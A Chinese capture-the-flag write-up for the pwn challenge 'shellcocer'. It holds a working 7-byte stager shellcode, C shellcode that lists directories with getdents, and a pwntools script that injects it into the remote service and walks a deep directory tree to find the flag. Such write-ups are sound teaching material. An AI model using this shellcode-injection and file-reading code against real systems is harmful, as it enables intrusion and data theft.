[Pwn] shellcocer - cpt.shao xp0int Posted on May 20 2019 ? shellcode ? 程序逻辑比较简单,首先读取7byte的shellcode然后执行。经过mf同学的指点构造出以下shellcode来读取更长的shellcode。 ```python payload = asm("xchg rdi,rsi\n pop dx\n syscall") ``` 然后发现使用get shell的shellcode本地可以打但是远程不行,尝试反弹shellcode发现可以反向连接远程机器,然而开不了shell。估计远程机器上禁用了execve,尝试系列的执行调用都不起作用,然而使用cat 的shellcode可以读到elf文件本身的内容。结合题目描述中路径的提示,估计这里是想让我们写列目录的shellcode,找到flag路径然后用cat shellcode读取。 查阅文档发现`getdents`函数能够读取目录文件信息,于是直接写c语言再用binja的scc进行编译。 ```c #define BUF_SIZE 0x200 void main() { struct dirent dirp; int fd = open(".", O_RDONLY | O_DIRECTORY, 0); int count = getdents(fd, &dirp, BUF_SIZE); write(1, &dirp, 0x200); } ``` 本地测试和远程都能返回目录文件,只是需要解析操作以下返回的内容,于是写出一个拙鸡的脚本开始遍历目录。 ```pyhton def run(path): global p p = remote(sys.argv[1], sys.argv[2]) payload = asm("xchg rdi,rsi\npop dx\nsyscall") sea(":", payload) time.sleep(0.1) sc_t = open("sc_t.c", "r").read() sc_t = sc_t % path sc_f = open("sc.c", "w") sc_f.write(sc_t) sc_f.close() os.system("scc sc.c --arch x64 --stdout > sc.bin") sc = open("sc.bin", "r").read() payload = "\x90" * 7 + sc se(payload) content = ru("\x18\x00\x2e\x00") if "flag" in content: exit(0) entry = content.split("\x18\x00") left = p.recvall() if "flag" in left: exit(0) result = [] for d in entry: d = confir(d)[:4] if d: p.info(d) if len(d) == 4: result.append(d) p.close() return result ``` 总共遍历出7层目录额。。。 ```python directory = "flag" d1 = ['n0qf', '0z9g', 'rrfh', 'n9bp'] d2 = { 'n0qf': ['mkmv', 'y1ka', 'vs76'], '0z9g': ['jmcq', '18u5', 'ndkn', '8oyi'], 'rrfh': ['f0os', 'jrra', 'lmc5', 'yepo'], 'n9bp': ['1maz', 'xvzn', '34lm', 'suie'] } d3 = {'yepo': ['i5p3', '39tc', 'fv3p', '10kh'], 'suie': ['v3l9', 'njhk', 'ei2k', 'h69e'], 'jrra': ['z3yb', 'foib', '4wai', 'b603'], '34lm': ['147x', 'tiy6', 'foze', 'ukzw'], 'mkmv': ['685n', '2nv2', 'a8vc', 'kpn8'], 'y1ka': ['7n49', 'fl8q', 'jggw', 'woc9'], 'f0os': ['iu1j', 'w6yd', 'qq2x', '36c3'], '18u5': ['lug3', '5p76', '6lgb', '4w6e'], '1maz': ['kphx', 'yk8k', 'cfij', 'rklb'], '8oyi': ['tbeu', '6gpr', 'p0ne', 'xsct'], 'ndkn': ['tpyb', '9zin', 'yxwf', '1a1q'], 'lmc5': ['8x4e', 'nswv', 'kq2t', '48yv'], 'jmcq': ['xygg', '8ags', '5ize', 'emgv'], 'xvzn': ['l6x7', '893l', 'd6uv', 'lpal'], 'vs76': ['ujx1', 'mgjz', 'pw7h', 'kh26']} ... ``` 最终可以生成3000多条路径,遍历后发现flag的路径为`flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9/flag`,采用get flag shellcode读取即可。 应该能够写更高级一点的shellcode来解决问题吧。比如直接写个tree命令什么的。 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Misc] draw - Donek1 [Pwn] manynotes - cpt.shao
没有帐号? 立即注册